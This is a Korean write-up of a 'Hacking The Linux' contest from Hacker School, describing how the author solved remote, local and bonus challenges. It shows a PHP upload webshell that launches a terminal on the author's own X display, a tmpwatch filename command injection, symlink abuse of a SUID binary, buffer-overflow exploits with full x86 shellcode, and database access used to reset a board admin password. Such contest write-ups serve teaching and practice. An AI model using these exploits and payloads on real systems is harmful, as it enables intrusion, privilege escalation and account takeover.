제1회 Hacking The Linux Contest 보고서
(해커스쿨 제1회 해킹이벤트때 작성한 공격 보고서)
- 리모트 문제에 대한 보고서
1. more hint : 나모와 ws_ftp는 모두 어떤 파일을 추가로 생성합니다.
보통 we_ftp는 WS_FTP.LOG라는 로그파일을 생성하고, 나모웹에디터는 파일명.bak 라는 백업파일을 생성한다. 로그파일은 각 디렉토리마다 다 남겨져 있는데 그 파일을 열어보면 해당 디렉토리에서의 파일 업로드 & 다운로드 상황이 나와있다.
http://211.215.55.247/WS_FTP.LOG를 열어보니 아래와 같이 의심이 가는 부분이 있다.
보통 나모웹에디터의 백업 파일을 보통 .bak이란 확장자로 백업파일을 생성하는데...
이 파일은 .backup 이란 확장자로 되어 있는 게 수상해서 이 파일을 열어보니..
와 같은 내용이 나왔다. 이것은 zerobard의 최신글을 main3.htm에서 미리보기 하기 위해 db와 연결하는 부분의 소스란 걸 알 수 있다. 이를 통해 데이터베이스의 id, pw, db네임을 알아 낼 수 있다. 흔히 계정의 id, pw를 db의 id, pw와 동일하게 사용하기 때문에 로컬로 접속해보면 계정획득에 성공한 것을 알 수 있다.
처음엔 sql injection인줄 알고 무료계정 가입하면서까지 삽질을-_ㅡ;;
2. more hint : php 스크립트 파일 설정 부분을 잘 보세요.. 그리고 제로보드에 적용.
아파치설정 파일인 httpd.conf을 보면 php관련 설정이 나온다.
보면, .ph 파일에도 php코드를 실행시킬 수가 있게 설정이 되어있다.
해당 서버에 zerobard가 설치되어 있는데 게시판의 업로드 기능을 이용하면 .ph파일은 필터링에 걸리지 않고 업로드 할 수 있다. 그럼 php로 리모트로 hanterm을 실행시키는 코드를 짜서 (아래와 같이..)
<?
$a=$REMOTE_ADDR;
passthru("/usr/X11R6/bin/hanterm -display 61.99.243.247:0.0");
?>
게시판에 업로드 한 후, 브라우저로 불러들이면, 이 파일을 실행하면서 hanterm이 뜬다.
당연히 미리 Xmanager을 먼저 실행시켜 놔야 한다. 이걸로 nobody 권한을 딴 것이다.
3. “두 번째 리모트 어택 문제" 관련 힌트입니다. - "8888번 포트에 비밀이 숨어있다!"
포트스캐너로 열린포트를 확인 한 결과, 8888번포트가 열려 있는 것을 확인 할 수 있었다.
web을 통해서 http://211.215.55.247:8888 이와같이 접근하니 아래와 같이 출력되었다.
- 로컬 문제에 대한 보고서
1. 먼저 공격해야 할 파일을 찾기 위해 find / -user walwal -perm -4000 2>/dev/null로 찾아보니 /bin/SolveMe/walwal 나왔다.
strings로 walwal파일을 보니 ./HackTheNose.txt 라는 문장(?)이 나왔다. HackTheNose.txt 파일의 group권한이 walwal이므로 walwal파일이 실행되는 동안에 walwal의 권한으로 HackTheNose.txt에 접근할 수 있는 것이 분명하다. 이번엔 find / -group walwal 2>/dev/null 으로 찾아보니
이 파일이 walwal의 패스워드를 숨겨놓은 파일임을 알 수 있다. group권한이 walwal으므로 walwal의 권한만 있으면 저 파일을 볼 수 있을 것이다. WALWALPASSWD.TXT을 HackTheNose.txt로 링크를 걸고 walwal을 실행하면 walwal의 권한으로 WALWALPASSWD.TXT을 열어볼 수 있다.
ID : walwal, PW : akwldrk
2. 힌트를 보고 검색을 해보니 http://members.tripod.lycos.co.kr/indra1024/mail/mail28.htm 에서 tmpwatch의 버그를 찾을 수 있었다. crontab은 root suid를 가지고 있지만, 정해진 작업을 할 때는 setuid(geteuid())의 권한으로 실행이 된다. 즉 guta의 권한으로 정해진 시간마다 movie디렉을 삭제하는데, 특수문자를 포함한 파일명을 생성하면 삭제되지 않고 해당 파일명을 실행시킬 수 있다는걸 알게 되었다.
먼저, 그림과 같이 cat > "\";hanterm -display 61.96.243.247:0.0\""를 적고 Ctrl+d를 누르고 나와서 date 명령어로 시간을 확인한 뒤 touch 명령어로 그 파일을 현재 시간의 약 1시간 전의 시점으로 되돌려 놓는다. 그러고 기다리면 시간이 딱 1시간이 뒤는 시점에서 tmpwatch가 실행되면서 guta의 권한으로 hanterm -display 61.96.243.247:0.0 명령어가 실행될 것이다.
그럼 hanterm인 뜬다. 물론 이번에도 Xmanager을 미리 실행시켜 놔야한다. ;-]
sh-2.05a$ id
uid=1001(guta) gid=1001(guta) groups=1001(guta)
캡쳐가 안된다. -_-;;
ID : guta, PW : glwnrglwnr
3. 공격파일은 student이다. 학생들의 성적을 입력받고, 조회할 수 있는 프로그램이다. 이 파일을 성적 입력받을 때 bof가 일어난다. 아래와 같이....
이제 egg쉘을 가지고 공격을 해보자-_-)/
redhat 7.x버전에서부터는 setreuid()가 추가된 egg쉘을 띄우고 공격해야 된다.
쉘코드 뽑는데 자신 없는 사람들을 위한 다른 방법이 있다.
{
setreuid(1002, 1002);
system("/bin/bash");
}
와 같은 파일을 /tmp/ah 컴파일해서 둔 후 아래와 같이 egg쉘 소스의 아래부분의
마지막 /bin/sh 부분을 /tmp/ah 로 수정하고 egg를 띄운 뒤 공격하자.
프로그램을 실행시킨 후 1번 메뉴에 들어간 다음 bof가 일어나기 때문에 1\n 을 해주는 것이다.
ID : mungmung, PW : rownrdl
4. 이 문제는 소스가 공개된 후에 풀었다. 주석에 여러 공격성 여부에 대해 적어보겠다.
#include <stdlib.h>
{
char buf[4]; //준비된 buf에서는 3byte밖에 입력을 받지 못한다.
printf("여기서 입력해야해요. : "); //마지막 1byte는 \0
fgets(buf, 13, stdin); //그런데 13byte까지 입력을 받을 수 있으니 bof가 일어난다.
} //그러나 쉘코드를 넣고 공격하기엔 크기가 역부족이다.
{
int envpno;
printf("Exit.\n"); //불가능
return 0;
}
memset(environ[envpno], 0, strlen(environ[envpno]));
hackerschool();
}
이런 문제는 argv[0]에 쉘코드를 넣고 공격해야 한다. 즉, 파일이름에 쉘코드를 넣고 공격해야한다. 공격하기 전에 미리 쉘코드를 파일이름에 넣어버리자.
다음과 같이 작성하여, 파일이름 ./Use_Brain에 쉘코드를 넣었다.
수월한 찍기를 위해 nop코드도 추가시켰다. ;-}
{
execl("./Use_Brain","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x31\xc0\x89\xc3\x89\xd9\xb0\x46\x66\xbb\xeb\x03\x66\xb9\xeb\x03\xcd\x80\x31
\xc0\x89\xc3\x89\xd9\xb0\x47\x66\xbb\xeb\x03\x66\xb9\xeb\x03\xcd\x80\xeb\x1f
\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08
\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", NULL);
}
와 같이 작성한 후 w0rm9라는 이름으로 컴파일 한다. 이 파일을 실행시키면 파일이름에 쉘코드가 들어가니 이제는 buf[4]를 오버시켜서 ret를 파일이름이 위치한 주소로 덮으면 된다. 소스에서 보면 ./Use_Brain 이라고 해놨으니 먼저 링크를 하고 공격하자.
메모리 형태를 보면 4byte + ebp + ret 이런식으로 되어 있는걸 알 수 있다.
4byte + ebp(4byte) 에는 아무거나 넣고 ret를 argv[0]의 주소값으로 만 덮으면 된다.
(printf "aaaabbbb + argv[0]의 address";cat)|./w0rm9 와 같이 공격하면 된다.
여기서 가장 골칫거리는 argv[0]의 주소를 찾는 것인데... gdb를 이용해도 되고 dumpcode.h를 이용해도 된다. 소스가 공개되었으니, dumpcode.h를 추가해서 컴파일한 소스를 공격해보고, 그 argv[0]의 위치가 gdb상에선 어떻게 나타나는지 확인한 후, 실제 공격파일에서 gdb를 이용해서 찾으면 된다. 위 쉘코드에 찍기를 수훨하게 하기위해 쉘코드 앞에 nop코드를 많이 넣었으니 너무 걱정안해도 된다.
ID : wizard, PW : qufemfdmlwjswod(별들의전쟁)
- 보너스 문제에 대한 보고서
2. 관리자의 화면 캡쳐 : 관리자가 실수로 가상 콘솔 스크린 관련 파일의 읽기 퍼미션을 열어놓았다고 합니다. 이 정보를 이용하여 관리자의 화면을 캡쳐하세요.
-> more hint : 가상 콘솔 스크린의 약자는?
가상 콘솔 스크린의 약자는 vcs이다. find으로 찾아보았다.
/dev 디렉에 vcs라는 파일이 엄청많았다. 그 중 잘 뒤져보니,
crw--w-r-- 1 vcsa tty 7, 1 Apr 11 10:25 vcs1
읽기 가능한 파일이 하나 있었다. tty hijacking 인줄 알고 문서보면서 무지 삽질했다는...-_ㅡ;
- 색 다른 방법을 사용하여 공격 시도
1. zerobard의 admin 권한 획득
remote 공격 1을 통해서 db에 대한 정보를 알고 있다.
이를 통해서 zeroboard의 admin권한을 획득하였다. db에 접근하여 admin의 패스워드를 바꾸자-_-)/
<- 현재 database 목록을 보고 guest가 접근할 수 있는 zboard를 use zboard;
<- 테이블 목록을 본 뒤 사용자 명단이 들어있는 zetyx_members_tabls를 열어본다.
열어보니 admin 이라는 user_id가 보인다. 그 뒤에 admin의 password도 보인다. ;-]
이제 admin의 비밀번호를 hack으로 바꿨다. 브라우저를 통해서 로그인 해보자. 음훼훼 된다. \( `д´\) 아싸! 아싸! (/*`д´)/
아래는 관리자 화면 캡쳐한거...
